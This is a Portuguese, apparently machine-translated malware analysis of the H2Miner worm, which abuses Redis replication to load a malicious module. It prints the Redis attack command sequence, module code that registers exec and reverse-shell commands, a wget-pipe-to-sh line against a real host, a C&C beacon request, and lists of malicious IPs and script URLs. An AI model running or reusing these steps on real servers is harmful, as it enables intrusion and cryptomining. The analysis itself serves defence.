Novo surto de worms H2Miner que explora Redis RCE foi descoberto

Um dia atrás, um dos servidores do meu projeto foi atacado por um worm semelhante. Em busca de uma resposta para a pergunta “o que foi isso?”, Encontrei um artigo maravilhoso da equipe do Alibaba Cloud Security. Como não encontrei este artigo no Habr, decidi traduzi-lo especialmente para você <3

Entrada


A equipe de segurança do Alibaba Cloud descobriu recentemente um surto repentino de H2Miner. Esse tipo de worm malicioso usa uma falta de autorização ou senhas fracas para Redis como gateways para seus sistemas, após o que sincroniza seu próprio módulo malicioso com escravo via sincronização mestre-escravo e finalmente baixa esse módulo malicioso na máquina atacada e executa instruções maliciosas.

No passado, os ataques em seus sistemas eram realizados principalmente usando um método que incluía tarefas agendadas ou chaves SSH que foram gravadas em sua máquina após um invasor fazer login no Redis. Felizmente, esse método não pode ser usado com frequência devido a problemas com o controle de permissão ou devido a diferentes versões do sistema. No entanto, esse método de baixar um módulo malicioso pode executar diretamente os comandos do invasor ou obter acesso ao shell, o que é perigoso para o seu sistema.

Devido ao grande número de servidores Redis hospedados na Internet (quase 1 milhão), a equipe de segurança do Alibaba Cloud, como um lembrete amigável, recomenda que os usuários não forneçam acesso aos Redis da rede e verifiquem regularmente a força de suas senhas, bem como se estão sujeitos a seleção rápida.

H2miner


O H2Miner é um botnet de mineração para sistemas baseados em Linux que pode invadir seu sistema de várias maneiras, incluindo a falta de autorização no fio Hadoop, Docker e a Vulnerabilidade de Execução Remota de Comando Remoto (RCE). A botnet funciona baixando scripts maliciosos e malware para extrair seus dados, expandindo o ataque horizontalmente e mantendo as comunicações de comando e controle (C&C).

Redis rce


Pavel Toporkov compartilhou seu conhecimento sobre esse assunto no ZeroNights 2018. Após a versão 4.0, o Redis suporta o carregamento de função de módulos externos, que fornece aos usuários a capacidade de fazer o download de arquivos compilados com C no Redis para executar determinados comandos do Redis. Esse recurso, embora útil, contém uma vulnerabilidade na qual, no modo mestre-escravo, os arquivos podem ser sincronizados com o escravo através do modo de sincronização completa. Isso pode ser usado por um invasor para transferir arquivos tão maliciosos. Após a conclusão da transferência, os atacantes carregam o módulo na instância Redis atacada e executam qualquer comando.

Análise de worms de malware


Recentemente, a equipe de segurança da Alibaba Cloud descobriu que o tamanho do grupo de mineradores maliciosos de H2Miner subitamente aumentou drasticamente. De acordo com a análise, o processo geral de ocorrência de um ataque é o seguinte:

imagem

O H2Miner usa o RCE Redis para um ataque completo. Primeiro, os atacantes atacam servidores Redis desprotegidos ou servidores com senhas fracas.

Em seguida, eles usam o config set dbfilename red2.so para alterar o nome do arquivo. Depois disso, os atacantes slaveof comando slaveof para definir o endereço do host de replicação master-slave.

Quando a instância atacada do Redis estabelece uma conexão mestre-escravo com o Redis malicioso, que pertence ao invasor, o atacante envia o módulo infectado usando o comando fullresync para sincronizar os arquivos. O arquivo red2.so será carregado na máquina de destino. Depois disso, os atacantes usam o módulo de download ./red2.so para baixar esse arquivo. O módulo pode executar os comandos do invasor ou iniciar uma conexão reversa (backdoor) para obter acesso à máquina atacada.

 if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; 

Depois de executar um comando malicioso, como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 , o invasor redefinirá o nome do arquivo de backup e descarregará o módulo do sistema para limpar os rastreamentos. No entanto, o arquivo red2.so ainda permanecerá na máquina atacada. Os usuários são aconselhados a prestar atenção à presença de um arquivo suspeito na pasta da instância do Redis.

Além de destruir alguns processos maliciosos para roubar recursos, o invasor seguiu um script malicioso baixando e executando os arquivos maliciosos em formato binário para 142.44.191.122/kinsing . Isso significa que o nome do processo ou o diretório que contém o parentesco no host pode indicar que esta máquina foi infectada por esse vírus.

De acordo com os resultados da engenharia reversa, o programa malicioso executa basicamente as seguintes funções:

  • Download e Execução de Arquivos
  • Mineração
  • Manutenção das comunicações C&C e execução de comandos de ataque

imagem

Use masscan para digitalização externa para expandir o impacto. Além disso, o endereço IP do servidor C&C é codificado no programa e o host atacado interage com o servidor de comunicação C&C usando solicitações HTTP, onde as informações do zumbi (servidor invadido) são identificadas no cabeçalho HTTP.

imagem

 GET /h HTTP/1.1 Host: 91.215.169.111 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Arch: amd64 Cores: 2 Mem: 3944 Os: linux Osname: debian Osversion: 10.0 Root: false S: k Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx Version: 26 Accept-Encoding: gzip 

Outros métodos de ataque


imagem

Endereços e links que o worm usa


/ parentesco

 • 142.44.191.122/t.sh • 185.92.74.42/h.sh • 142.44.191.122/spr.sh • 142.44.191.122/spre.sh • 195.3.146.118/unk.sh 

c & c

 • 45.10.88.102 • 91.215.169.111 • 139.99.50.255 • 46.243.253.167 • 195.123.220.193 

Dica


Primeiro, o Redis não deve estar aberto ao acesso da Internet e deve ser protegido por uma senha forte. Também é importante que os clientes verifiquem se não há arquivo red2.so no diretório Redis e não há "parentesco" no nome do arquivo / processo no host.

Source: https://habr.com/ru/post/pt485300/


All Articles